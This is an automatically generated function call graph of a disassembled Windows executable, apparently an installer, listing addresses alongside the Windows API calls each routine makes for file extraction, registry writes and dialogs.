4019fd 4275 40145c 18 API calls 4274->4275 4276 401a04 4275->4276 4277 405e7f 2 API calls 4276->4277 4278 401a0b 4277->4278 4826 4022fd 4827 40145c 18 API calls 4826->4827 4828 402304 GetFileVersionInfoSizeW 4827->4828 4829 40232b GlobalAlloc 4828->4829 4833 4030e3 4828->4833 4830 40233f GetFileVersionInfoW 4829->4830 4829->4833 4831 402350 VerQueryValueW 4830->4831 4832 402381 GlobalFree 4830->4832 4831->4832 4835 402369 4831->4835 4832->4833 4839 405f51 wsprintfW 4835->4839 4837 402375 4840 405f51 wsprintfW 4837->4840 4839->4837 4840->4832 4841 402afd 4842 40145c 18 API calls 4841->4842 4843 402b04 4842->4843 4848 405e50 GetFileAttributesW CreateFileW 4843->4848 4845 402b10 4846 4030e3 4845->4846 4849 405f51 wsprintfW 4845->4849 4848->4845 4849->4846 4850 4029ff 4851 401553 19 API calls 4850->4851 4852 402a09 4851->4852 4853 40145c 18 API calls 4852->4853 4854 402a12 4853->4854 4855 402a1f RegQueryValueExW 4854->4855 4857 401a13 4854->4857 4856 402a3f 4855->4856 4860 402a45 4855->4860 4856->4860 4861 405f51 wsprintfW 4856->4861 4859 4029e4 RegCloseKey 4859->4857 4860->4857 4860->4859 4861->4860 4862 401000 4863 401037 BeginPaint GetClientRect 4862->4863 4864 40100c DefWindowProcW 4862->4864 4866 4010fc 4863->4866 4867 401182 4864->4867 4868 401073 CreateBrushIndirect FillRect DeleteObject 4866->4868 4869 401105 4866->4869 4868->4866 4870 401170 EndPaint 4869->4870 4871 40110b CreateFontIndirectW 4869->4871 4870->4867 4871->4870 4872 40111b 6 API calls 4871->4872 4872->4870 4873 401f80 4874 401446 18 API calls 4873->4874 4875 401f88 4874->4875 4876 401446 18 API calls 4875->4876 4877 401f93 4876->4877 4878 401fa3 4877->4878 4879 40145c 18 API calls 4877->4879 4880 401fb3 4878->4880 4881 40145c 18 API calls 4878->4881 4879->4878 4882 402006 4880->4882 4883 401fbc 4880->4883 4881->4880 4885 40145c 18 API calls 4882->4885 4884 401446 18 API calls 4883->4884 4887 401fc4 4884->4887 4886 40200d 4885->4886 4888 40145c 18 API calls 4886->4888 4889 401446 18 API calls 4887->4889 4890 402016 FindWindowExW 4888->4890 4891 401fce 4889->4891 4895 402036 4890->4895 4892 401ff6 SendMessageW 4891->4892 4893 401fd8 SendMessageTimeoutW 4891->4893 4892->4895 4893->4895 4894 4030e3 4895->4894 4897 405f51 wsprintfW 4895->4897 4897->4894 4898 402880 4899 402884 4898->4899 4900 40145c 18 API calls 4899->4900 4901 4028a7 4900->4901 4902 40145c 18 API calls 4901->4902 4903 4028b1 4902->4903 4904 4028ba RegCreateKeyExW 4903->4904 4905 4028e8 4904->4905 4912 4029ef 4904->4912 4906 402934 4905->4906 4907 40145c 18 API calls 4905->4907 4908 402963 4906->4908 4911 401446 18 API calls 4906->4911 4910 4028fc lstrlenW 4907->4910 4909 4029ae RegSetValueExW 4908->4909 4913 40337f 37 API calls 4908->4913 4916 4029c6 RegCloseKey 4909->4916 4917 4029cb 4909->4917 4914 402918 4910->4914 4915 40292a 4910->4915 4918 402947 4911->4918 4919 40297b 4913->4919 4920 4062a3 11 API calls 4914->4920 4921 4062a3 11 API calls 4915->4921 4916->4912 4922 4062a3 11 API calls 4917->4922 4923 4062a3 11 API calls 4918->4923 4929 406224 4919->4929 4925 402922 4920->4925 4921->4906 4922->4916 4923->4908 4925->4909 4928 4062a3 11 API calls 4928->4925 4930 406247 4929->4930 4931 40628a 4930->4931 4932 40625c wsprintfW 4930->4932 4933 402991 4931->4933 4934 406293 lstrcatW 4931->4934 4932->4931 4932->4932 4933->4928 4934->4933 4935 402082 4936 401446 18 API calls 4935->4936 4937 402093 SetWindowLongW 4936->4937 4938 4030e3 4937->4938 3462 403883 #17 SetErrorMode OleInitialize 3536 4062fc GetModuleHandleA 3462->3536 3466 4038f1 GetCommandLineW 3541 406009 lstrcpynW 3466->3541 3468 403903 GetModuleHandleW 3469 40391b 3468->3469 3542 405d06 3469->3542 3472 4039d6 3473 4039f5 GetTempPathW 3472->3473 3546 4037cc 3473->3546 3475 403a0b 3476 403a33 DeleteFileW 3475->3476 3477 403a0f GetWindowsDirectoryW lstrcatW 3475->3477 3554 403587 GetTickCount GetModuleFileNameW 3476->3554 3479 4037cc 11 API calls 3477->3479 3478 405d06 CharNextW 3485 40393c 3478->3485 3481 403a2b 3479->3481 3481->3476 3483 403acc 3481->3483 3482 403a47 3482->3483 3486 403ab1 3482->3486 3487 405d06 CharNextW 3482->3487 3639 403859 3483->3639 3485->3472 3485->3478 3493 4039d8 3485->3493 3582 40592c 3486->3582 3499 403a5e 3487->3499 3490 403ac1 3667 4060e7 3490->3667 3491 403ae1 3646 405ca0 3491->3646 3492 403bce 3495 403c51 3492->3495 3497 4062fc 3 API calls 3492->3497 3650 406009 lstrcpynW 3493->3650 3501 403bdd 3497->3501 3502 403af7 lstrcatW lstrcmpiW 3499->3502 3503 403a89 3499->3503 3504 4062fc 3 API calls 3501->3504 3502->3483 3506 403b13 CreateDirectoryW SetCurrentDirectoryW 3502->3506 3651 40677e 3503->3651 3507 403be6 3504->3507 3509 403b36 3506->3509 3510 403b2b 3506->3510 3511 4062fc 3 API calls 3507->3511 3681 406009 lstrcpynW 3509->3681 3680 406009 lstrcpynW 3510->3680 3515 403bef 3511->3515 3514 403b44 3682 406009 lstrcpynW 3514->3682 3518 403c3d ExitWindowsEx 3515->3518 3523 403bfd GetCurrentProcess 3515->3523 3518->3495 3520 403c4a 3518->3520 3519 403aa6 3666 406009 lstrcpynW 3519->3666 3709 40141d 3520->3709 3526 403c0d 3523->3526 3526->3518 3527 403b79 CopyFileW 3529 403b53 3527->3529 3528 403bc2 3530 406c68 42 API calls 3528->3530 3529->3528 3533 406805 18 API calls 3529->3533 3535 403bad CloseHandle 3529->3535 3683 406805 3529->3683 3701 406c68 3529->3701 3706 405c3f CreateProcessW 3529->3706 3532 403bc9 3530->3532 3532->3483 3533->3529 3535->3529 3537 406314 LoadLibraryA 3536->3537 3538 40631f GetProcAddress 3536->3538 3537->3538 3539 4038c6 SHGetFileInfoW 3537->3539 3538->3539 3540 406009 lstrcpynW 3539->3540 3540->3466 3541->3468 3543 405d0c 3542->3543 3544 40392a CharNextW 3543->3544 3545 405d13 CharNextW 3543->3545 3544->3485 3545->3543 3712 406038 3546->3712 3548 4037e2 3548->3475 3549 4037d8 3549->3548 3721 406722 lstrlenW CharPrevW 3549->3721 3728 405e50 GetFileAttributesW CreateFileW 3554->3728 3556 4035c7 3577 4035d7 3556->3577 3729 406009 lstrcpynW 3556->3729 3558 4035ed 3730 406751 lstrlenW 3558->3730 3562 4035fe GetFileSize 3563 4036fa 3562->3563 3576 403615 3562->3576 3737 4032d2 3563->3737 3565 403703 3567 40373f GlobalAlloc 3565->3567 3565->3577 3771 403368 SetFilePointer 3565->3771 3748 403368 SetFilePointer 3567->3748 3569 4037bd 3573 4032d2 6 API calls 3569->3573 3571 40375a 3749 40337f 3571->3749 3572 403720 3575 403336 ReadFile 3572->3575 3573->3577 3578 40372b 3575->3578 3576->3563 3576->3569 3576->3577 3579 4032d2 6 API calls 3576->3579 3735 403336 ReadFile 3576->3735 3577->3482 3578->3567 3578->3577 3579->3576 3580 403766 3580->3577 3580->3580 3581 403794 SetFilePointer 3580->3581 3581->3577 3583 4062fc 3 API calls 3582->3583 3584 405940 3583->3584 3585 405946 3584->3585 3586 405958 3584->3586 3812 405f51 wsprintfW 3585->3812 3813 405ed3 RegOpenKeyExW 3586->3813 3590 4059a8 lstrcatW 3592 405956 3590->3592 3591 405ed3 3 API calls 3591->3590 3795 403e95 3592->3795 3595 40677e 18 API calls 3596 4059da 3595->3596 3597 405a70 3596->3597 3599 405ed3 3 API calls 3596->3599 3598 40677e 18 API calls 3597->3598 3600 405a76 3598->3600 3601 405a0c 3599->3601 3602 405a86 3600->3602 3603 406805 18 API calls 3600->3603 3601->3597 3607 405a2f lstrlenW 3601->3607 3613 405d06 CharNextW 3601->3613 3604 405aa6 LoadImageW 3602->3604 3819 403e74 3602->3819 3603->3602 3605 405ad1 RegisterClassW 3604->3605 3606 405b66 3604->3606 3611 405b19 SystemParametersInfoW CreateWindowExW 3605->3611 3636 405b70 3605->3636 3612 40141d 80 API calls 3606->3612 3608 405a63 3607->3608 3609 405a3d lstrcmpiW 3607->3609 3616 406722 3 API calls 3608->3616 3609->3608 3614 405a4d GetFileAttributesW 3609->3614 3611->3606 3617 405b6c 3612->3617 3618 405a2a 3613->3618 3619 405a59 3614->3619 3615 405a9c 3615->3604 3620 405a69 3616->3620 3623 403e95 19 API calls 3617->3623 3617->3636 3618->3607 3619->3608 3621 406751 2 API calls 3619->3621 3818 406009 lstrcpynW 3620->3818 3621->3608 3624 405b7d 3623->3624 3625 405b89 ShowWindow LoadLibraryW 3624->3625 3626 405c0c 3624->3626 3628 405ba8 LoadLibraryW 3625->3628 3629 405baf GetClassInfoW 3625->3629 3804 405047 OleInitialize 3626->3804 3628->3629 3630 405bc3 GetClassInfoW RegisterClassW 3629->3630 3631 405bd9 DialogBoxParamW 3629->3631 3630->3631 3633 40141d 80 API calls 3631->3633 3632 405c12 3634 405c16 3632->3634 3635 405c2e 3632->3635 3633->3636 3634->3636 3638 40141d 80 API calls 3634->3638 3637 40141d 80 API calls 3635->3637 3636->3490 3637->3636 3638->3636 3640 403871 3639->3640 3641 403863 CloseHandle 3639->3641 3964 403c83 3640->3964 3641->3640 3647 405cb5 3646->3647 3648 403aef ExitProcess 3647->3648 3649 405ccb MessageBoxIndirectW 3647->3649 3649->3648 3650->3473 4021 406009 lstrcpynW 3651->4021 3653 40678f 3654 405d59 4 API calls 3653->3654 3655 406795 3654->3655 3656 406038 5 API calls 3655->3656 3663 403a97 3655->3663 3662 4067a5 3656->3662 3657 4067dd lstrlenW 3658 4067e4 3657->3658 3657->3662 3659 406722 3 API calls 3658->3659 3661 4067ea GetFileAttributesW 3659->3661 3660 4062d5 2 API calls 3660->3662 3661->3663 3662->3657 3662->3660 3662->3663 3664 406751 2 API calls 3662->3664 3663->3483 3665 406009 lstrcpynW 3663->3665 3664->3657 3665->3519 3666->3486 3668 406110 3667->3668 3669 4060f3 3667->3669 3671 406187 3668->3671 3672 40612d 3668->3672 3675 406104 3668->3675 3670 4060fd CloseHandle 3669->3670 3669->3675 3670->3675 3673 406190 lstrcatW lstrlenW WriteFile 3671->3673 3671->3675 3672->3673 3674 406136 GetFileAttributesW 3672->3674 3673->3675 4022 405e50 GetFileAttributesW CreateFileW 3674->4022 3675->3483 3677 406152 3677->3675 3678 406162 WriteFile 3677->3678 3679 40617c SetFilePointer 3677->3679 3678->3679 3679->3671 3680->3509 3681->3514 3682->3529 3698 406812 3683->3698 3684 406a7f 3685 403b6c DeleteFileW 3684->3685 4025 406009 lstrcpynW 3684->4025 3685->3527 3685->3529 3687 4068d3 GetVersion 3687->3698 3688 406a46 lstrlenW 3688->3698 3689 406805 10 API calls 3689->3688 3692 405ed3 3 API calls 3692->3698 3693 406952 GetSystemDirectoryW 3693->3698 3694 406965 GetWindowsDirectoryW 3694->3698 3695 406038 5 API calls 3695->3698 3696 406805 10 API calls 3696->3698 3697 4069df lstrcatW 3697->3698 3698->3684 3698->3687 3698->3688 3698->3689 3698->3692 3698->3693 3698->3694 3698->3695 3698->3696 3698->3697 3699 406999 SHGetSpecialFolderLocation 3698->3699 4023 405f51 wsprintfW 3698->4023 4024 406009 lstrcpynW 3698->4024 3699->3698 3700 4069b1 SHGetPathFromIDListW CoTaskMemFree 3699->3700 3700->3698 3702 4062fc 3 API calls 3701->3702 3703 406c6f 3702->3703 3705 406c90 3703->3705 4026 406a99 lstrcpyW 3703->4026 3705->3529 3707 405c7a 3706->3707 3708 405c6e CloseHandle 3706->3708 3707->3529 3708->3707 3710 40139d 80 API calls 3709->3710 3711 401432 3710->3711 3711->3495 3718 406045 3712->3718 3713 4060bb 3714 4060c1 CharPrevW 3713->3714 3716 4060e1 3713->3716 3714->3713 3715 4060ae CharNextW 3715->3713 3715->3718 3716->3549 3717 405d06 CharNextW 3717->3718 3718->3713 3718->3715 3718->3717 3719 40609a CharNextW 3718->3719 3720 4060a9 CharNextW 3718->3720 3719->3718 3720->3715 3722 4037ea CreateDirectoryW 3721->3722 3723 40673f lstrcatW 3721->3723 3724 405e7f 3722->3724 3723->3722 3725 405e8c GetTickCount GetTempFileNameW 3724->3725 3726 405ec2 3725->3726 3727 4037fe 3725->3727 3726->3725 3726->3727 3727->3475 3728->3556 3729->3558 3731 406760 3730->3731 3732 4035f3 3731->3732 3733 406766 CharPrevW 3731->3733 3734 406009 lstrcpynW 3732->3734 3733->3731 3733->3732 3734->3562 3736 403357 3735->3736 3736->3576 3738 4032f3 3737->3738 3739 4032db 3737->3739 3742 403303 GetTickCount 3738->3742 3743 4032fb 3738->3743 3740 4032e4 DestroyWindow 3739->3740 3741 4032eb 3739->3741 3740->3741 3741->3565 3745 403311 CreateDialogParamW ShowWindow 3742->3745 3746 403334 3742->3746 3772 406332 3743->3772 3745->3746 3746->3565 3748->3571 3751 403398 3749->3751 3750 4033c3 3753 403336 ReadFile 3750->3753 3751->3750 3794 403368 SetFilePointer 3751->3794 3754 4033ce 3753->3754 3755 4033e7 GetTickCount 3754->3755 3756 403518 3754->3756 3758 4033d2 3754->3758 3768 4033fa 3755->3768 3757 40351c 3756->3757 3762 403540 3756->3762 3759 403336 ReadFile 3757->3759 3758->3580 3759->3758 3760 403336 ReadFile 3760->3762 3761 403336 ReadFile 3761->3768 3762->3758 3762->3760 3763 40355f WriteFile 3762->3763 3763->3758 3764 403574 3763->3764 3764->3758 3764->3762 3766 40345c GetTickCount 3766->3768 3767 403485 MulDiv wsprintfW 3783 404f72 3767->3783 3768->3758 3768->3761 3768->3766 3768->3767 3770 4034c9 WriteFile 3768->3770 3776 407312 3768->3776 3770->3758 3770->3768 3771->3572 3773 40634f PeekMessageW 3772->3773 3774 406345 DispatchMessageW 3773->3774 3775 403301 3773->3775 3774->3773 3775->3565 3777 407332 3776->3777 3778 40733a 3776->3778 3777->3768 3778->3777 3779 4073c2 GlobalFree 3778->3779 3780 4073cb GlobalAlloc 3778->3780 3781 407443 GlobalAlloc 3778->3781 3782 40743a GlobalFree 3778->3782 3779->3780 3780->3777 3780->3778 3781->3777 3781->3778 3782->3781 3784 404f8b 3783->3784 3793 40502f 3783->3793 3785 404fa9 lstrlenW 3784->3785 3786 406805 18 API calls 3784->3786 3787 404fd2 3785->3787 3788 404fb7 lstrlenW 3785->3788 3786->3785 3790 404fe5 3787->3790 3791 404fd8 SetWindowTextW 3787->3791 3789 404fc9 lstrcatW 3788->3789 3788->3793 3789->3787 3792 404feb SendMessageW SendMessageW SendMessageW 3790->3792 3790->3793 3791->3790 3792->3793 3793->3768 3794->3750 3796 403ea9 3795->3796 3824 405f51 wsprintfW 3796->3824 3798 403f1d 3799 406805 18 API calls 3798->3799 3800 403f29 SetWindowTextW 3799->3800 3802 403f44 3800->3802 3801 403f5f 3801->3595 3802->3801 3803 406805 18 API calls 3802->3803 3803->3802 3825 403daf 3804->3825 3806 40506a 3809 4062a3 11 API calls 3806->3809 3811 405095 3806->3811 3828 40139d 3806->3828 3807 403daf SendMessageW 3808 4050a5 OleUninitialize 3807->3808 3808->3632 3809->3806 3811->3807 3812->3592 3814 405f07 RegQueryValueExW 3813->3814 3815 405989 3813->3815 3816 405f29 RegCloseKey 3814->3816 3815->3590 3815->3591 3816->3815 3818->3597 3963 406009 lstrcpynW 3819->3963 3821 403e88 3822 406722 3 API calls 3821->3822 3823 403e8e lstrcatW 3822->3823 3823->3615 3824->3798 3826 403dc7 3825->3826 3827 403db8 SendMessageW 3825->3827 3826->3806 3827->3826 3831 4013a4 3828->3831 3829 401410 3829->3806 3831->3829 3832 4013dd MulDiv SendMessageW 3831->3832 3833 4015a0 3831->3833 3832->3831 3834 4015fa 3833->3834 3913 40160c 3833->3913 3835 401601 3834->3835 3836 401742 3834->3836 3837 401962 3834->3837 3838 4019ca 3834->3838 3839 40176e 3834->3839 3840 401650 3834->3840 3841 4017b1 3834->3841 3842 401672 3834->3842 3843 401693 3834->3843 3844 401616 3834->3844 3845 4016d6 3834->3845 3846 401736 3834->3846 3847 401897 3834->3847 3848 4018db 3834->3848 3849 40163c 3834->3849 3850 4016bd 3834->3850 3834->3913 3863 4062a3 11 API calls 3835->3863 3855 401751 ShowWindow 3836->3855 3856 401758 3836->3856 3860 40145c 18 API calls 3837->3860 3853 40145c 18 API calls 3838->3853 3857 40145c 18 API calls 3839->3857 3880 4062a3 11 API calls 3840->3880 3946 40145c 3841->3946 3858 40145c 18 API calls 3842->3858 3940 401446 3843->3940 3852 40145c 18 API calls 3844->3852 3869 401446 18 API calls 3845->3869 3845->3913 3846->3913 3962 405f51 wsprintfW 3846->3962 3859 40145c 18 API calls 3847->3859 3864 40145c 18 API calls 3848->3864 3854 401647 PostQuitMessage 3849->3854 3849->3913 3851 4062a3 11 API calls 3850->3851 3866 4016c7 SetForegroundWindow 3851->3866 3867 40161c 3852->3867 3868 4019d1 SearchPathW 3853->3868 3854->3913 3855->3856 3870 401765 ShowWindow 3856->3870 3856->3913 3871 401775 3857->3871 3872 401678 3858->3872 3873 40189d 3859->3873 3874 401968 GetFullPathNameW 3860->3874 3863->3913 3865 4018e2 3864->3865 3877 40145c 18 API calls 3865->3877 3866->3913 3878 4062a3 11 API calls 3867->3878 3868->3913 3869->3913 3870->3913 3881 4062a3 11 API calls 3871->3881 3882 4062a3 11 API calls 3872->3882 3958 4062d5 FindFirstFileW 3873->3958 3884 40197f 3874->3884 3926 4019a1 3874->3926 3876 40169a 3943 4062a3 lstrlenW wvsprintfW 3876->3943 3887 4018eb 3877->3887 3888 401627 3878->3888 3889 401664 3880->3889 3890 401785 SetFileAttributesW 3881->3890 3891 401683 3882->3891 3908 4062d5 2 API calls 3884->3908 3884->3926 3885 4062a3 11 API calls 3893 4017c9 3885->3893 3896 40145c 18 API calls 3887->3896 3897 404f72 25 API calls 3888->3897 3898 40139d 65 API calls 3889->3898 3899 40179a 3890->3899 3890->3913 3906 404f72 25 API calls 3891->3906 3951 405d59 CharNextW CharNextW 3893->3951 3895 4019b8 GetShortPathNameW 3895->3913 3904 4018f5 3896->3904 3897->3913 3898->3913 3905 4062a3 11 API calls 3899->3905 3900 4018c2 3909 4062a3 11 API calls 3900->3909 3901 4018a9 3907 4062a3 11 API calls 3901->3907 3911 4062a3 11 API calls 3904->3911 3905->3913 3906->3913 3907->3913 3912 401991 3908->3912 3909->3913 3910 4017d4 3914 401864 3910->3914 3917 405d06 CharNextW 3910->3917 3935 4062a3 11 API calls 3910->3935 3915 401902 MoveFileW 3911->3915 3912->3926 3961 406009 lstrcpynW 3912->3961 3913->3831 3914->3891 3916 40186e 3914->3916 3918 401912 3915->3918 3919 40191e 3915->3919 3920 404f72 25 API calls 3916->3920 3922 4017e6 CreateDirectoryW 3917->3922 3918->3891 3924 401942 3919->3924 3929 4062d5 2 API calls 3919->3929 3925 401875 3920->3925 3922->3910 3923 4017fe GetLastError 3922->3923 3927 401827 GetFileAttributesW 3923->3927 3928 40180b GetLastError 3923->3928 3934 4062a3 11 API calls 3924->3934 3957 406009 lstrcpynW 3925->3957 3926->3895 3926->3913 3927->3910 3931 4062a3 11 API calls 3928->3931 3932 401929 3929->3932 3931->3910 3932->3924 3937 406c68 42 API calls 3932->3937 3933 401882 SetCurrentDirectoryW 3933->3913 3936 40195c 3934->3936 3935->3910 3936->3913 3938 401936 3937->3938 3939 404f72 25 API calls 3938->3939 3939->3924 3941 406805 18 API calls 3940->3941 3942 401455 3941->3942 3942->3876 3944 4060e7 9 API calls 3943->3944 3945 4016a7 Sleep 3944->3945 3945->3913 3947 406805 18 API calls 3946->3947 3948 401488 3947->3948 3949 401497 3948->3949 3950 406038 5 API calls 3948->3950 3949->3885 3950->3949 3952 405d76 3951->3952 3953 405d88 3951->3953 3952->3953 3954 405d83 CharNextW 3952->3954 3955 405dac 3953->3955 3956 405d06 CharNextW 3953->3956 3954->3955 3955->3910 3956->3953 3957->3933 3959 4018a5 3958->3959 3960 4062eb FindClose 3958->3960 3959->3900 3959->3901 3960->3959 3961->3926 3962->3913 3963->3821 3965 403c91 3964->3965 3966 403876 3965->3966 3967 403c96 FreeLibrary GlobalFree 3965->3967 3968 406c9b 3966->3968 3967->3966 3967->3967 3969 40677e 18 API calls 3968->3969 3970 406cae 3969->3970 3971 406cb7 DeleteFileW 3970->3971 3972 406cce 3970->3972 4012 403882 CoUninitialize 3971->4012 3973 406e4b 3972->3973 4016 406009 lstrcpynW 3972->4016 3979 4062d5 2 API calls 3973->3979 4001 406e58 3973->4001 3973->4012 3975 406cf9 3976 406d03 lstrcatW 3975->3976 3977 406d0d 3975->3977 3978 406d13 3976->3978 3980 406751 2 API calls 3977->3980 3982 406d23 lstrcatW 3978->3982 3983 406d19 3978->3983 3981 406e64 3979->3981 3980->3978 3986 406722 3 API calls 3981->3986 3981->4012 3985 406d2b lstrlenW FindFirstFileW 3982->3985 3983->3982 3983->3985 3984 4062a3 11 API calls 3984->4012 3987 406e3b 3985->3987 3991 406d52 3985->3991 3988 406e6e 3986->3988 3987->3973 3990 4062a3 11 API calls 3988->3990 3989 405d06 CharNextW 3989->3991 3992 406e79 3990->3992 3991->3989 3995 406e18 FindNextFileW 3991->3995 4004 406c9b 72 API calls 3991->4004 4011 404f72 25 API calls 3991->4011 4013 4062a3 11 API calls 3991->4013 4014 404f72 25 API calls 3991->4014 4015 406c68 42 API calls 3991->4015 4017 406009 lstrcpynW 3991->4017 4018 405e30 GetFileAttributesW 3991->4018 3993 405e30 2 API calls 3992->3993 3994 406e81 RemoveDirectoryW 3993->3994 3998 406ec4 3994->3998 3999 406e8d 3994->3999 3995->3991 3997 406e30 FindClose 3995->3997 3997->3987 4000 404f72 25 API calls 3998->4000 3999->4001 4002 406e93 3999->4002 4000->4012 4001->3984 4003 4062a3 11 API calls 4002->4003 4005 406e9d 4003->4005 4004->3991 4007 404f72 25 API calls 4005->4007 4009 406ea7 4007->4009 4010 406c68 42 API calls 4009->4010 4010->4012 4011->3995 4012->3491 4012->3492 4013->3991 4014->3991 4015->3991 4016->3975 4017->3991 4019 405e4d DeleteFileW 4018->4019 4020 405e3f SetFileAttributesW 4018->4020 4019->3991 4020->4019 4021->3653 4022->3677 4023->3698 4024->3698 4025->3685 4027 406ae7 GetShortPathNameW 4026->4027 4028 406abe 4026->4028 4029 406b00 4027->4029 4030 406c62 4027->4030 4052 405e50 GetFileAttributesW CreateFileW 4028->4052 4029->4030 4032 406b08 WideCharToMultiByte 4029->4032 4030->3705 4032->4030 4034 406b25 WideCharToMultiByte 4032->4034 4033 406ac7 CloseHandle GetShortPathNameW 4033->4030 4035 406adf 4033->4035 4034->4030 4036 406b3d wsprintfA 4034->4036 4035->4027 4035->4030 4037 406805 18 API calls 4036->4037 4038 406b69 4037->4038 4053 405e50 GetFileAttributesW CreateFileW 4038->4053 4040 406b76 4040->4030 4041 406b83 GetFileSize GlobalAlloc 4040->4041 4042 406ba4 ReadFile 4041->4042 4043 406c58 CloseHandle 4041->4043 4042->4043 4044 406bbe 4042->4044 4043->4030 4044->4043 4054 405db6 lstrlenA 4044->4054 4047 406bd7 lstrcpyA 4050 406bf9 4047->4050 4048 406beb 4049 405db6 4 API calls 4048->4049 4049->4050 4051 406c30 SetFilePointer WriteFile GlobalFree 4050->4051 4051->4043 4052->4033 4053->4040 4055 405df7 lstrlenA 4054->4055 4056 405dd0 lstrcmpiA 4055->4056 4057 405dff 4055->4057 4056->4057 4058 405dee CharNextA 4056->4058 4057->4047 4057->4048 4058->4055 4939 402a84 4940 401553 19 API calls 4939->4940 4941 402a8e 4940->4941 4942 401446 18 API calls 4941->4942 4943 402a98 4942->4943 4944 401a13 4943->4944 4945 402ab2 RegEnumKeyW 4943->4945 4946 402abe RegEnumValueW 4943->4946 4947 402a7e 4945->4947 4946->4944 4946->4947 4947->4944 4948 4029e4 RegCloseKey 4947->4948 4948->4944 4949 402c8a 4950 402ca2 4949->4950 4951 402c8f 4949->4951 4953 40145c 18 API calls 4950->4953 4952 401446 18 API calls 4951->4952 4955 402c97 4952->4955 4954 402ca9 lstrlenW 4953->4954 4954->4955 4956 402ccb WriteFile 4955->4956 4957 401a13 4955->4957 4956->4957 4958 40400d 4959 40406a 4958->4959 4960 40401a lstrcpynA lstrlenA 4958->4960 4960->4959 4961 40404b 4960->4961 4961->4959 4962 404057 GlobalFree 4961->4962 4962->4959 4963 401d8e 4964 40145c 18 API calls 4963->4964 4965 401d95 ExpandEnvironmentStringsW 4964->4965 4966 401da8 4965->4966 4968 401db9 4965->4968 4967 401dad lstrcmpW 4966->4967 4966->4968 4967->4968 4969 401e0f 4970 401446 18 API calls 4969->4970 4971 401e17 4970->4971 4972 401446 18 API calls 4971->4972 4973 401e21 4972->4973 4974 4030e3 4973->4974 4976 405f51 wsprintfW 4973->4976 4976->4974 4977 402392 4978 40145c 18 API calls 4977->4978 4979 402399 4978->4979 4982 4071f8 4979->4982 4983 406ed2 25 API calls 4982->4983 4984 407218 4983->4984 4985 407222 lstrcpynW lstrcmpW 4984->4985 4986 4023a7 4984->4986 4987 407254 4985->4987 4988 40725a lstrcpynW 4985->4988 4987->4988 4988->4986 4059 402713 4074 406009 lstrcpynW 4059->4074 4061 40272c 4075 406009 lstrcpynW 4061->4075 4063 402738 4064 40145c 18 API calls 4063->4064 4066 402743 4063->4066 4064->4066 4065 402752 4068 40145c 18 API calls 4065->4068 4070 402761 4065->4070 4066->4065 4067 40145c 18 API calls 4066->4067 4067->4065 4068->4070 4069 40145c 18 API calls 4071 40276b 4069->4071 4070->4069 4072 4062a3 11 API calls 4071->4072 4073 40277f WritePrivateProfileStringW 4072->4073 4074->4061 4075->4063 4989 402797 4990 40145c 18 API calls 4989->4990 4991 4027ae 4990->4991 4992 40145c 18 API calls 4991->4992 4993 4027b7 4992->4993 4994 40145c 18 API calls 4993->4994 4995 4027c0 GetPrivateProfileStringW lstrcmpW 4994->4995 4996 402e18 4997 40145c 18 API calls 4996->4997 4998 402e1f FindFirstFileW 4997->4998 4999 402e32 4998->4999 5004 405f51 wsprintfW 4999->5004 5001 402e43 5005 406009 lstrcpynW 5001->5005 5003 402e50 5004->5001 5005->5003 5006 401e9a 5007 40145c 18 API calls 5006->5007 5008 401ea1 5007->5008 5009 401446 18 API calls 5008->5009 5010 401eab wsprintfW 5009->5010 4286 401a1f 4287 40145c 18 API calls 4286->4287 4288 401a26 4287->4288 4289 4062a3 11 API calls 4288->4289 4290 401a49 4289->4290 4291 401a64 4290->4291 4292 401a5c 4290->4292 4340 406009 lstrcpynW 4291->4340 4339 406009 lstrcpynW 4292->4339 4295 401a62 4299 406038 5 API calls 4295->4299 4296 401a6f 4297 406722 3 API calls 4296->4297 4298 401a75 lstrcatW 4297->4298 4298->4295 4301 401a81 4299->4301 4300 4062d5 2 API calls 4300->4301 4301->4300 4302 405e30 2 API calls 4301->4302 4304 401a98 CompareFileTime 4301->4304 4305 401ba9 4301->4305 4309 4062a3 11 API calls 4301->4309 4313 406009 lstrcpynW 4301->4313 4319 406805 18 API calls 4301->4319 4326 405ca0 MessageBoxIndirectW 4301->4326 4330 401b50 4301->4330 4337 401b5d 4301->4337 4338 405e50 GetFileAttributesW CreateFileW 4301->4338 4302->4301 4304->4301 4306 404f72 25 API calls 4305->4306 4308 401bb3 4306->4308 4307 404f72 25 API calls 4310 401b70 4307->4310 4311 40337f 37 API calls 4308->4311 4309->4301 4314 4062a3 11 API calls 4310->4314 4312 401bc6 4311->4312 4315 4062a3 11 API calls 4312->4315 4313->4301 4321 401b8b 4314->4321 4316 401bda 4315->4316 4317 401be9 SetFileTime 4316->4317 4318 401bf8 CloseHandle 4316->4318 4317->4318 4320 401c09 4318->4320 4318->4321 4319->4301 4322 401c21 4320->4322 4323 401c0e 4320->4323 4325 406805 18 API calls 4322->4325 4324 406805 18 API calls 4323->4324 4327 401c16 lstrcatW 4324->4327 4328 401c29 4325->4328 4326->4301 4327->4328 4329 4062a3 11 API calls 4328->4329 4331 401c34 4329->4331 4332 401b93 4330->4332 4333 401b53 4330->4333 4334 405ca0 MessageBoxIndirectW 4331->4334 4335 4062a3 11 API calls 4332->4335 4336 4062a3 11 API calls 4333->4336 4334->4321 4335->4321 4336->4337 4337->4307 4338->4301 4339->4295 4340->4296 5011 40209f GetDlgItem GetClientRect 5012 40145c 18 API calls 5011->5012 5013 4020cf LoadImageW SendMessageW 5012->5013 5014 4030e3 5013->5014 5015 4020ed DeleteObject 5013->5015 5015->5014 5016 402b9f 5017 401446 18 API calls 5016->5017 5022 402ba7 5017->5022 5018 402c4a 5019 402bdf ReadFile 5021 402c3d 5019->5021 5019->5022 5020 401446 18 API calls 5020->5021 5021->5018 5021->5020 5028 402d17 ReadFile 5021->5028 5022->5018 5022->5019 5022->5021 5023 402c06 MultiByteToWideChar 5022->5023 5024 402c3f 5022->5024 5026 402c4f 5022->5026 5023->5022 5023->5026 5029 405f51 wsprintfW 5024->5029 5026->5021 5027 402c6b SetFilePointer 5026->5027 5027->5021 5028->5021 5029->5018 5030 402b23 GlobalAlloc 5031 402b39 5030->5031 5032 402b4b 5030->5032 5033 401446 18 API calls 5031->5033 5034 40145c 18 API calls 5032->5034 5035 402b41 5033->5035 5036 402b52 WideCharToMultiByte lstrlenA 5034->5036 5037 402b93 5035->5037 5038 402b84 WriteFile 5035->5038 5036->5035 5038->5037 5039 402384 GlobalFree 5038->5039 5039->5037 5041 4044a5 5042 404512 5041->5042 5043 4044df 5041->5043 5045 40451f GetDlgItem GetAsyncKeyState 